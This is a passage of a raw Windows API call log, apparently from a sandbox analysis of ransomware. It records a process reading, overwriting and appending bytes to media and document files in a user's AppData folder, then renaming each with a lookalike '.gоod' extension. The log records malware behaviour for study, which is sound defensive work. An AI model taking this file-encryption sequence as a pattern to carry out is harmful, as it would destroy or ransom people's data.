(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jclicckshc2alo.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0199.529] GetFileType (hFile=0x824) returned 0x1 [0199.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0199.529] GetFileType (hFile=0x824) returned 0x1 [0199.529] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0199.529] ReadFile (in: hFile=0x824, lpBuffer=0x3932098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3932098*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0199.530] CloseHandle (hObject=0x824) returned 1 [0199.530] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", lpFilePart=0x0) returned 0x32 [0199.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0199.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jclicckshc2alo.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0199.530] GetFileType (hFile=0x824) returned 0x1 [0199.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0199.530] GetFileType (hFile=0x824) returned 0x1 [0199.530] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x4e60 [0199.530] WriteFile (in: hFile=0x824, lpBuffer=0x3933310*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x3933310*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0199.531] CloseHandle (hObject=0x824) returned 1 [0199.531] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", lpFilePart=0x0) returned 0x32 [0199.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0199.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jclicckshc2alo.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0199.531] GetFileType (hFile=0x824) returned 0x1 [0199.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0199.531] GetFileType (hFile=0x824) returned 0x1 [0199.531] ReadFile (in: hFile=0x824, lpBuffer=0x39355b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x39355b0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0206.290] CloseHandle (hObject=0x824) returned 1 [0206.290] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", lpFilePart=0x0) returned 0x32 [0206.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0206.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jclicckshc2alo.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0206.290] GetFileType (hFile=0x824) returned 0x1 [0206.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0206.290] GetFileType (hFile=0x824) returned 0x1 [0206.290] WriteFile (in: hFile=0x824, lpBuffer=0x329fd48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x329fd48*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0207.526] CloseHandle (hObject=0x824) returned 1 [0207.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps", lpFilePart=0x0) returned 0x32 [0207.566] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps.gоod", lpFilePart=0x0) returned 0x37 [0207.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0207.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jclicckshc2alo.pps"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec11adf0, ftCreationTime.dwHighDateTime=0x1d4cf72, ftLastAccessTime.dwLowDateTime=0x4961b9f0, ftLastAccessTime.dwHighDateTime=0x1d4c5b9, ftLastWriteTime.dwLowDateTime=0x77e98b96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e70)) returned 1 [0207.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0207.567] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jclicckshc2alo.pps"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JCLiCckShC2ALo.pps.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jclicckshc2alo.pps.gоod")) returned 1 [0208.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", lpFilePart=0x0) returned 0x2a [0208.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0208.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jujdu-.wav"), fInfoLevelId=0x0, lpFileInformation=0x3658590 | out: lpFileInformation=0x3658590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf39120, ftCreationTime.dwHighDateTime=0x1d4c83f, ftLastAccessTime.dwLowDateTime=0x2f17cc20, ftLastAccessTime.dwHighDateTime=0x1d4c937, ftLastWriteTime.dwLowDateTime=0x2f17cc20, ftLastWriteTime.dwHighDateTime=0x1d4c937, nFileSizeHigh=0x0, nFileSizeLow=0x13177)) returned 1 [0208.350] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0208.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", lpFilePart=0x0) returned 0x2a [0208.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0208.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jujdu-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0208.354] GetFileType (hFile=0x824) returned 0x1 [0208.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0208.355] GetFileType (hFile=0x824) returned 0x1 [0208.355] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0208.356] ReadFile (in: hFile=0x824, lpBuffer=0x365b018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x365b018*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0208.356] CloseHandle (hObject=0x824) returned 1 [0208.356] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", lpFilePart=0x0) returned 0x2a [0208.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0208.356] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jujdu-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0208.357] GetFileType (hFile=0x824) returned 0x1 [0208.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0208.357] GetFileType (hFile=0x824) returned 0x1 [0208.357] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x13177 [0208.357] WriteFile (in: hFile=0x824, lpBuffer=0x365c270*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x365c270*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0208.357] CloseHandle (hObject=0x824) returned 1 [0208.357] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", lpFilePart=0x0) returned 0x2a [0208.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0208.357] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jujdu-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0208.357] GetFileType (hFile=0x824) returned 0x1 [0208.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0208.357] GetFileType (hFile=0x824) returned 0x1 [0208.357] ReadFile (in: hFile=0x824, lpBuffer=0x365e4f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x365e4f0*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0208.508] CloseHandle (hObject=0x824) returned 1 [0208.509] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", lpFilePart=0x0) returned 0x2a [0208.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0208.509] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jujdu-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0208.509] GetFileType (hFile=0x824) returned 0x1 [0208.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0208.509] GetFileType (hFile=0x824) returned 0x1 [0208.509] WriteFile (in: hFile=0x824, lpBuffer=0x3476fd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x3476fd0*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0208.510] CloseHandle (hObject=0x824) returned 1 [0208.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav", lpFilePart=0x0) returned 0x2a [0208.510] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav.gоod", lpFilePart=0x0) returned 0x2f [0208.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0208.510] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jujdu-.wav"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bf39120, ftCreationTime.dwHighDateTime=0x1d4c83f, ftLastAccessTime.dwLowDateTime=0x2f17cc20, ftLastAccessTime.dwHighDateTime=0x1d4c937, ftLastWriteTime.dwLowDateTime=0x787ede82, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13187)) returned 1 [0208.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0208.510] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jujdu-.wav"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\jUJDu-.wav.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jujdu-.wav.gоod")) returned 1 [0208.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", lpFilePart=0x0) returned 0x29 [0208.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0208.511] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kgxkl.mp4"), fInfoLevelId=0x0, lpFileInformation=0x34f3ed8 | out: lpFileInformation=0x34f3ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4109e30, ftCreationTime.dwHighDateTime=0x1d4d455, ftLastAccessTime.dwLowDateTime=0xf14a5560, ftLastAccessTime.dwHighDateTime=0x1d4d2d3, ftLastWriteTime.dwLowDateTime=0xf14a5560, ftLastWriteTime.dwHighDateTime=0x1d4d2d3, nFileSizeHigh=0x0, nFileSizeLow=0xf46d)) returned 1 [0208.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0208.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", lpFilePart=0x0) returned 0x29 [0208.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0208.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kgxkl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0208.512] GetFileType (hFile=0x824) returned 0x1 [0208.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0208.512] GetFileType (hFile=0x824) returned 0x1 [0208.512] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0208.512] ReadFile (in: hFile=0x824, lpBuffer=0x34f4270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x34f4270*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0208.513] CloseHandle (hObject=0x824) returned 1 [0208.513] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", lpFilePart=0x0) returned 0x29 [0208.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0208.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kgxkl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0208.513] GetFileType (hFile=0x824) returned 0x1 [0208.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0208.513] GetFileType (hFile=0x824) returned 0x1 [0208.513] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xf46d [0208.513] WriteFile (in: hFile=0x824, lpBuffer=0x34f54c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ee148, lpOverlapped=0x0 | out: lpBuffer=0x34f54c8*, lpNumberOfBytesWritten=0x204ee148*=0x10, lpOverlapped=0x0) returned 1 [0208.514] CloseHandle (hObject=0x824) returned 1 [0208.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", lpFilePart=0x0) returned 0x29 [0208.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0208.514] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kgxkl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0208.514] GetFileType (hFile=0x824) returned 0x1 [0208.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0208.514] GetFileType (hFile=0x824) returned 0x1 [0208.514] ReadFile (in: hFile=0x824, lpBuffer=0x34f7748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee1d8, lpOverlapped=0x0 | out: lpBuffer=0x34f7748*, lpNumberOfBytesRead=0x204ee1d8*=0x1000, lpOverlapped=0x0) returned 1 [0209.460] CloseHandle (hObject=0x824) returned 1 [0209.460] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", lpFilePart=0x0) returned 0x29 [0209.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0209.460] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kgxkl.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.460] GetFileType (hFile=0x824) returned 0x1 [0209.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0209.461] GetFileType (hFile=0x824) returned 0x1 [0209.461] WriteFile (in: hFile=0x824, lpBuffer=0x347eb88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ee288, lpOverlapped=0x0 | out: lpBuffer=0x347eb88*, lpNumberOfBytesWritten=0x204ee288*=0x1010, lpOverlapped=0x0) returned 1 [0209.461] CloseHandle (hObject=0x824) returned 1 [0209.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4", lpFilePart=0x0) returned 0x29 [0209.461] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4.gоod", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4.gоod", lpFilePart=0x0) returned 0x2e [0209.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee1c0) returned 1 [0209.461] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kgxkl.mp4"), fInfoLevelId=0x0, lpFileInformation=0x204ee2a0 | out: lpFileInformation=0x204ee2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4109e30, ftCreationTime.dwHighDateTime=0x1d4d455, ftLastAccessTime.dwLowDateTime=0xf14a5560, ftLastAccessTime.dwHighDateTime=0x1d4d2d3, ftLastWriteTime.dwLowDateTime=0x79102376, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf47d)) returned 1 [0209.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee180) returned 1 [0209.461] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kgxkl.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KGXkl.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kgxkl.mp4.gоod")) returned 1 [0209.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", nBufferLength=0x105, lpBuffer=0x204edd30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", lpFilePart=0x0) returned 0x31 [0209.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee200) returned 1 [0209.462] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\le7hyv a8-60d.avi"), fInfoLevelId=0x0, lpFileInformation=0x3514ba8 | out: lpFileInformation=0x3514ba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f05a30, ftCreationTime.dwHighDateTime=0x1d4cd01, ftLastAccessTime.dwLowDateTime=0x99146100, ftLastAccessTime.dwHighDateTime=0x1d4cbd1, ftLastWriteTime.dwLowDateTime=0x99146100, ftLastWriteTime.dwHighDateTime=0x1d4cbd1, nFileSizeHigh=0x0, nFileSizeLow=0xf4ed)) returned 1 [0209.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee1c0) returned 1 [0209.462] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", lpFilePart=0x0) returned 0x31 [0209.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0209.462] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\le7hyv a8-60d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.463] GetFileType (hFile=0x824) returned 0x1 [0209.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0209.463] GetFileType (hFile=0x824) returned 0x1 [0209.463] SetFilePointer (in: hFile=0x824, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0x1000 [0209.463] ReadFile (in: hFile=0x824, lpBuffer=0x3514f80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ee228, lpOverlapped=0x0 | out: lpBuffer=0x3514f80*, lpNumberOfBytesRead=0x204ee228*=0x1000, lpOverlapped=0x0) returned 1 [0209.464] CloseHandle (hObject=0x824) returned 1 [0209.464] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", nBufferLength=0x105, lpBuffer=0x204edbe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi", lpFilePart=0x0) returned 0x31 [0209.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee100) returned 1 [0209.464] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\lE7hYV a8-60D.avi" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\le7hyv a8-60d.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0209.464] GetFileType (hFile=0x824) returned 0x1 [0209.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee070) returned 1 [0209.464] GetFileType (hFile=0x824) returned 0x1 [0209.464] SetFilePointer (in: hFile=0x824, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ee258*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ee258*=0) returned 0xf4ed [0209.464] WriteFile (in: hFile=0x824, 